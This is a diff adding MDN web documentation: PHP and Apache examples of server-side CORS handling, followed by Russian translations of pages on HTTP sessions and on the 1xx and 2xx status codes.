+  echo "   &lt;title&gt;Another Resource&lt;/title&gt;";
+  echo "&lt;/head&gt;";
+  echo "&lt;body&gt;",
+       "&lt;p&gt;This resource behaves two-fold:";
+  echo "&lt;ul&gt;",
+         "&lt;li&gt;If accessed from &lt;code&gt;http://arunranga.com&lt;/code&gt; it returns an XML document&lt;/li&gt;";
+  echo   "&lt;li&gt;If accessed from any other origin including from simply typing in the URL into the browser's address bar,";
+  echo   "you get this HTML document&lt;/li&gt;",
+       "&lt;/ul&gt;",
+     "&lt;/body&gt;",
+   "&lt;/html&gt;";
+}
+?&gt;
+</pre>
+
+<p>The above checks to see if the {{HTTPHeader("Origin")}} header sent by the browser (obtained through $_SERVER['HTTP_ORIGIN']) matches '<a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a>'. If yes, it returns {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code>. This example can be <a class="external" href="http://arunranga.com/examples/access-control/">seen running here</a>.</p>
+
+<h2 id="Preflighted_requests">Preflighted requests</h2>
+
+<p><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted Access Control Requests</a> occur when:</p>
+
+<ul>
+ <li>A method other than {{HTTPMethod("GET")}} or {{HTTPMethod("POST")}} is used, or if {{HTTPMethod("POST")}} is used with a {{HTTPHeader("Content-Type")}} <strong>other than</strong> one of <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, or <code>text/plain</code>. For instance, if the <code>Content-Type</code> of the <code>POST</code> body is <code>application/xml</code>, a request is preflighted.</li>
+ <li>A custom header (such as <code>X-PINGARUNER</code>) is sent with the request.</li>
+</ul>
+
+<p>The section on <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted Access Control Requests</a> shows a header exchange between client and server. A server resource responding to a preflight requests needs to be able to make the following determinations:</p>
+
+<ul>
+ <li>Filtration based on {{HTTPHeader("Origin")}}, if any at all.</li>
+ <li>Response to an {{HTTPMethod("OPTIONS")}} request (which is the preflight request), including sending necessary values with {{HTTPHeader("Access-Control-Allow-Methods")}}, {{HTTPHeader("Access-Control-Allow-Headers")}} (if any additional headers are needed in order for the application to work), and, if credentials are necessary for this resource, {{HTTPHeader("Access-Control-Allow-Credentials")}}.</li>
+ <li>Response to the actual request, including handling <code>POST</code> data, etc.</li>
+</ul>
+
+<p>Here is an example in PHP of handling a <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">preflighted request</a>:</p>
+
+<pre class="brush: php">&lt;?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+
+  header('Content-Type: text/plain');
+  echo "This HTTP resource is designed to handle POSTed XML input";
+  echo "from arunranga.com and not be retrieved with GET";
+
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+  // Tell the Client we support invocations from arunranga.com and
+  // that this preflight holds good for only 20 days
+
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
+    header('Access-Control-Allow-Headers: X-PINGARUNER');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+    //exit(0);
+  } else {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+  }
+
+} elseif($_SERVER['REQUEST_METHOD'] == "POST") {
+  // Handle POST by first getting the XML POST blob,
+  // and then doing something to it, and then sending results to the client
+
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    $postData = file_get_contents('php://input');
+    $document = simplexml_load_string($postData);
+
+    // do something with POST data
+
+    $ping = $_SERVER['HTTP_X_PINGARUNER'];
+
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-Type: text/plain');
+    echo // some string response after processing
+  } else {
+    die("POSTing Only Allowed from arunranga.com");
+  }
+} else {
+    die("No Other Methods Allowed");
+}
+?&gt;
+</pre>
+
+<p>Note the appropriate headers being sent back in response to the {{HTTPMethod("OPTIONS")}} preflight as well as to the {{HTTPMethod("POST")}} data. One resource thus handles the preflight as well as the actual request. In the response to the <code>OPTIONS</code> request, the server notifies the client that the actual request can indeed be made with the <code>POST</code> method, and header fields such as <code>X-PINGARUNER</code> can be sent with the actual request. This example can be <a class="external" href="http://arunranga.com/examples/access-control/">seen running here</a>.</p>
+
+<h2 id="Credentialed_requests">Credentialed requests</h2>
+
+<p><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Requests_with_credentials">Credentialed Access Control Requests</a> – that is, requests that are accompanied by <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> or HTTP Authentication information (and which expect Cookies to be sent with responses) – can be either <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple</a> or <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted</a>, depending on the request methods used.</p>
+
+<p>In a <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple Request</a> scenario, the request will be sent with Cookies (e.g. if the <code><a href="/en-US/docs/Web/API/XMLHttpRequest/withCredentials">withCredentials</a></code> flag is set on {{domxref("XMLHttpRequest")}}). If the server responds with {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> attached to the credentialed response, then the response is accepted by the client and exposed to web content. In a <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted Request</a>, the server can respond with <code>Access-Control-Allow-Credentials: true</code> to the <code>OPTIONS</code> request.</p>
+
+<p>Here is some PHP that handles credentialed requests:</p>
+
+<pre class="brush: php">&lt;?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+  header('Access-Control-Allow-Origin: http://arunranga.com');
+  header('Access-Control-Allow-Credentials: true');
+  header('Cache-Control: no-cache');
+  header('Pragma: no-cache');
+  header('Content-Type: text/plain');
+
+  // First See if There Is a Cookie
+  if (!isset($_COOKIE["pageAccess"])) {
+    setcookie("pageAccess", 1, time()+2592000);
+    echo 'I do not know you or anyone like you so I am going to';
+    echo 'mark you with a Cookie :-)';
+  } else {
+    $accesses = $_COOKIE['pageAccess'];
+    setcookie('pageAccess', ++$accesses, time()+2592000);
+    echo 'Hello -- I know you or something a lot like you!';
+    echo 'You have been to ', $_SERVER['SERVER_NAME'], ';
+    echo 'at least ', $accesses-1, ' time(s) before!';
+  }
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+  // Tell the Client this preflight holds good for only 20 days
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: GET, OPTIONS');
+    header('Access-Control-Allow-Credentials: true');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+  } else {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+  }
+} else {
+  die("This HTTP Resource can ONLY be accessed with GET or OPTIONS");
+}
+?&gt;
+</pre>
+
+<p>Note that in the case of credentialed requests, the <code>Access-Control-Allow-Origin:</code> header <strong>must not</strong> have a wildcard value of "*".  It <strong>must</strong> mention a valid origin domain. The example above can be seen <a class="external" href="http://arunranga.com/examples/access-control/">running here</a>.</p>
+
+<h2 id="Apache_examples">Apache examples</h2>
+
+<h3 id="Restrict_access_to_certain_URIs">Restrict access to certain URIs</h3>
+
+<p>One helpful trick is to use an Apache rewrite, environment variable, and headers to apply <code>Access-Control-Allow-*</code> to certain URIs. This is useful, for example, to constrain cross-origin requests to <code>GET /api(.*).json</code> requests without credentials:</p>
+
+<pre>RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True]
+Header set Access-Control-Allow-Origin "*" env=CORS
+Header set Access-Control-Allow-Methods "GET" env=CORS
+Header set Access-Control-Allow-Credentials "false" env=CORS
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://arunranga.com/examples/access-control/">Examples of Access Control in Action</a></li>
+ <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side &amp; Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Access Control covering the HTTP headers</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html
new file mode 100644
index 0000000000..42de794853
--- /dev/null
+++ b/files/ru/web/http/session/index.html
@@ -0,0 +1,158 @@
+---
+title: HTTP сессия
+slug: Web/HTTP/Session
+tags:
+  - HTTP
+translation_of: Web/HTTP/Session
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Так как HTTP — это клиент-серверный протокол, HTTP сессия состоит из трёх фаз:</p>
+
+<ol>
+ <li>Клиент устанавливает TCP соединения (или другое соединение, если не используется TCP транспорт).</li>
+ <li>Клиент отправляет запрос и ждёт ответа. </li>
+ <li>Сервер обрабатывает запрос и посылает ответ, в котором содержится код статуса и соответствующие данные. </li>
+</ol>
+
+<p>Начиная с версии HTTP/1.1, после третьей фазы соединение не закрывается, так как клиенту позволяется инициировать другой запрос. То есть, вторая и третья фазы могут повторяться.</p>
+
+<h2 id="Установка_соединения">Установка соединения</h2>
+
+<p>Так как HTTP это клиент-серверный протокол, соединение всегда устанавливается клиентом. Открыть соединение в HTTP — значит установить соединение через соответствующий транспорт, обычно TCP.</p>
+
+<p>В случае с TCP, в качестве порта HTTP сервера по умолчанию на компьютере используется порт 80, хотя другие также часто используются, например 8000 или 8080. URL загружаемой страницы содержит доменное имя и порт, который можно и не  указывать если он соответствует порту по умолчанию. </p>
+
+<div class="note"><strong>Имеем в виду:</strong> Клиент-серверная модель не позволяет серверу посылать данные клиенту без явного запроса этих данных. Чтобы обойти эту проблему, веб разработчики используют различные техники: периодически пингуют сервер используя <a href="/en/DOM/XMLHttpRequest" title="en/XMLHTTPRequest">XMLHTTPRequest</a> Javascript объект, HTML <a href="/en/WebSockets" title="en/WebSockets">WebSockets API</a>, или похожие протоколы.</div>
+
+<h2 id="Отправка_запроса_клиента">Отправка запроса клиента</h2>
+
+<p>Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделенные между собой при помощи CRLF (переноса строки).  Сам запрос включает в себя три блока:</p>
+
+<ol>
+ <li>Первые строки содержат метод запроса и его параметры:
+  <ul>
+   <li>путь к документу - абсолютная URL без указания протокола и доменного имени</li>
+   <li>версию HTTP протокола </li>
+  </ul>
+ </li>
+ <li>Каждая последующая строка представляет собой HTTP заголовок и передает серверу некоторую информацию о типах предпочитаемых данных (наприм. какой язык , какие MIME типы) или инструкции меняющие поведение сервера (наприм. не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.</li>
+ <li>Последний блок является не обязательным и содержит дополнительные данные. По большей части используется методом POST.</li>
+</ol>
+
+<h3 id="Примеры_запросов">Примеры запросов</h3>
+
+<p>Получаем главную страницу developer.mozilla.org,  <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>, и говорим серверу, что user-agent предпочитает страницу на французском, если это возможно:</p>
+
+<pre>GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+</pre>
+
+<p>Обращаем внимание на пустую строку в конце, которая отделяет блок данных от блока заголовков. Так как в запросе отсутствует <code>Content-Length:</code> HTTP заголовок, блок с данными пуст и сервер может начать обработку запроса, как только получит пустую строку, означающую конец заголовков.</p>
+
+<p>Отправляем результат сабмита формы:</p>
+
+<pre>POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&amp;request=Send%20me%20one%20of%20your%20catalogue</pre>
+
+<h3 id="Методы_запроса">Методы запроса</h3>
+
+<p>HTTP определяет набор <a href="/en-US/docs/Web/HTTP/Methods">методов запроса</a> с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространенные запросы <code>GET</code> и <code>POST</code>:</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}} используется для запроса содержимого указанного ресурса. Запрос с использованием <code>GET</code> должен только получать данные.</li>
+ <li>{{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять свое состояние. Этот метод часто используется для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>.</li>
+</ul>
+
+<h2 id="Структура_ответа_от_сервера">Структура ответа от сервера</h2>
+
+<p>После того как присоединенный агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделенные между собой CRLF, сгруппированные в три разных блока:</p>
+
+<ol>
+ <li>Первая строка — строка статуса, состоит из подтверждения используемой HTTP версии и статуса запроса (и его значения в виде, понятном человеку).</li>
+ <li>Последующие строки представляют собой HTTP заголовки, дающие клиенту некоторую информацию о посылаемых данных (прим. тип, размер, алгоритм сжатия, подсказки по кэшированию). Так же как и в случае клиентского запроса, эти HTTP заголовки формируют блок, заканчивающийся пустой строкой.</li>
+ <li>Последний блок содержит данные (если таковые имеются).</li>
+</ol>
+
+<h3 id="Примеры_ответов">Примеры ответов</h3>
+
+<p>Успешное получение веб страницы:</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <em><strong>(здесь идут 29769 байтов запрошенной веб-страницы)</strong></em>
+
+</pre>
+
+<p>Сообщение о том, что запрашиваемый ресурс был перемещен:</p>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(это новый адрес запрошенного ресурса, ожидается, что клиент запросит его</em><em>)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 <strong><em>(Контент содержит стандартную страницу, которая будет показана, если клиент не может перейти по ссылке)</em></strong>
+
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
+&lt;html&gt;&lt;head&gt;
+&lt;title&gt;301 Moved Permanently&lt;/title&gt;
+&lt;/head&gt;&lt;body&gt;
+&lt;h1&gt;Moved Permanently&lt;/h1&gt;
+&lt;p&gt;The document has moved &lt;a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>"&gt;here&lt;/a&gt;.&lt;/p&gt;
+&lt;hr&gt;
+&lt;address&gt;Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80&lt;/address&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+
+<p>Сообщение о том, что запрашиваемый ресурс не существует:</p>
+
+<pre>HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <strong><em>(содержит пользовательскую страницу, помогающую пользователю найти отсутсвующий ресурс)</em></strong>
+</pre>
+
+<h3 id="Коды_статусов_ответа">Коды статусов ответа</h3>
+
+<p><a href="/ru/docs/Web/HTTP/Status">HTTP-коды ответов</a> показывают, выполнен ли успешно определенный HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.</p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: OK. Запрос завершился успехом.</li>
+ <li>{{HTTPStatus(301)}}: Moved Permanently. Этот код значит, что URI запрошенного ресурса был изменён.</li>
+ <li>{{HTTPStatus(404)}}: Not Found. Сервер не может найти запрошенный ресурс.</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Определение ресурсов в Интернете</a></li>
+ <li><a href="/ru/docs/Web/HTTP/Заголовки">HTTP заголовки</a></li>
+ <li><a href="/ru/docs/Web/HTTP/Methods">Методы HTTP запроса</a></li>
+ <li><a href="/ru/docs/Web/HTTP/Status">Коды ответа HTTP</a></li>
+</ul>
diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html
new file mode 100644
index 0000000000..5e9b4a15b7
--- /dev/null
+++ b/files/ru/web/http/status/100/index.html
@@ -0,0 +1,42 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> Код ответа "HTTP <strong><code>100 Continue"</code></strong> на информационный статус указывает, что все до сих пор в порядке и что клиент должен продолжить запрос или игнорировать его, если он уже завершен.</p>
+
+<p>Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}<code>:100-continue</code> в качестве заголовка в своем первоначальном запросе и получить код состояния <code>100-continue </code>в ответ перед отправкой тела.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden"><font color="#3b3c40" face="Open Sans, arial, sans-serif">Данные совместимости не найдены. Пожалуйста, внесите данные для </font><a href="https://github.com/mdn/browser-compat-data">MDN compatibility data repository</a>.</p>
+
+<p>{{Compat("http/status", "100")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/101/index.html b/files/ru/web/http/status/101/index.html
new file mode 100644
index 0000000000..1dbb537ad5
--- /dev/null
+++ b/files/ru/web/http/status/101/index.html
@@ -0,0 +1,45 @@
+---
+title: 101 Switching Protocol
+slug: Web/HTTP/Status/101
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа протокола HTTP 101 Switching Protocol указывает протокол, который сервер переключает, используя клиентский запрос {{HTTPHeader("Upgrade")}}.</p>
+
+<p>Сервер отправляет заголовок ответа {{HTTPHeader ("Upgrade")}}, указывая протокол, на который он переключился.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">101 Switching Protocol</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Протоколы переключения могут использоваться с <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/ru/web/http/status/103/index.html b/files/ru/web/http/status/103/index.html
new file mode 100644
index 0000000000..d6c39cdb12
--- /dev/null
+++ b/files/ru/web/http/status/103/index.html
@@ -0,0 +1,50 @@
+---
+title: 103 Early Hints
+slug: Web/HTTP/Status/103
+tags:
+  - HTTP
+  - Информация
+  - Код состояния
+  - ТаблицаСоответствия
+  - ТребуетсяСодержание
+  - Черновик
+translation_of: Web/HTTP/Status/103
+---
+<p>{{HTTPSidebar}}{{Draft}}</p>
+
+<p>HTTP код <strong><code>103 Early Hints</code></strong> в первую очередь предназначен для использования с заголовком {{HTTPHeader("Link")}}, чтобы клиент мог начать предварительную загрузку пока сервер готовит ответ.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">103 Early Hints</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC(8297, "103 Early Hints")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td>Начальное определение (Initial Definition)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Эта таблица генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, посмотрите https://github.com/mdn/browser-compat-data и отправьте нам <span class="seoSummary">pull request</span></div>
+
+<p>{{Compat("http.status.103")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html
new file mode 100644
index 0000000000..bd1f64e5e5
--- /dev/null
+++ b/files/ru/web/http/status/200/index.html
@@ -0,0 +1,50 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа об успешном статусе "<em>The HTTP</em><strong> 200 OK</strong>" указывает, что запрос выполнен успешно. Ответ 200 может кэшироваться по умолчанию.</p>
+
+<p>Значение успеха зависит от метода <em>HTTP-</em>запроса:</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>Ресурс был извлечен и передан в теле сообщения.</span></span></li>
+ <li>{{HTTPMethod("HEAD")}}: <span class="short_text" id="result_box" lang="ru"><span>Заголовки объектов находятся в теле сообщения.</span></span></li>
+ <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>Ресурс, описывающий результат действия, передается в теле сообщения.</span></span></li>
+ <li>{{HTTPMethod("TRACE")}}:<span id="result_box" lang="ru"><span>Тело сообщения содержит сообщение запроса, полученное сервером.</span></span></li>
+</ul>
+
+<p>Успешный результат {{HTTPMethod("PUT")}} или {{HTTPMethod("DELETE")}} часто не <strong>200 OK</strong>, {{HTTPStatus ("204")}} <strong>No Content</strong> ( или {{HTTPStatus("201")}} <strong>Created</strong>, когда ресурс загружается в первый раз).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="Характеристики">Характеристики </h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "200")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html
new file mode 100644
index 0000000000..9bb49c0dfc
--- /dev/null
+++ b/files/ru/web/http/status/201/index.html
@@ -0,0 +1,43 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+translation_of: Web/HTTP/Status/201
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP <strong><code>201 Created</code></strong> Код ответа об успешном статусе указывает, что запрос выполнен успешно и привел к созданию ресурса. Новый ресурс эффективно создается до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">Location</a>.</code></p>
+
+<p>Общим случаем использования этого кода состояния является результат <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Methods/POST" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>POST</code></a> запроса.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">201 Created</pre>
+
+<h2 id="Технические_характеристики">Технические характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Данные совместимости не найдены <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> .</p>
+
+<p>{{Compat("http/status", "201")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html
new file mode 100644
index 0000000000..ac2d42a884
--- /dev/null
+++ b/files/ru/web/http/status/202/index.html
@@ -0,0 +1,33 @@
+---
+title: 202 Accepted
+slug: Web/HTTP/Status/202
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния ответа "<em>The HTTP</em> <code><strong>202</strong></code><strong><code> Accepted" </code></strong>указывает, что запрос получен, но еще не обработан. Это не является обязательным, что означает, что в <em>HTTP</em> невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">202 Accepted</pre>
+
+<h2 id="Характеристики">Характеристики </h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html
new file mode 100644
index 0000000000..aabd4310ac
--- /dev/null
+++ b/files/ru/web/http/status/203/index.html
@@ -0,0 +1,37 @@
+---
+title: 203 Non-Authoritative Information
+slug: Web/HTTP/Status/203
+translation_of: Web/HTTP/Status/203
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>"The HTTP <strong><code>203 Non-Authoritative Information" </code></strong>Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учетом ответа сервера{{HTTPStatus("200")}} (<code>OK</code>) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.</p>
+
+<p>"The <code>203"</code> ответ  аналогичен значению <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, значение "<code>Transformation Applied"</code>, кода  {{HTTPHeader("Warning")}} имеет дополнительное преимущество, применимое к ответам с любым кодом состояния.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">203 Non-Authoritative Information</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("200")}}</li>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Warning")}}</li>
+</ul>
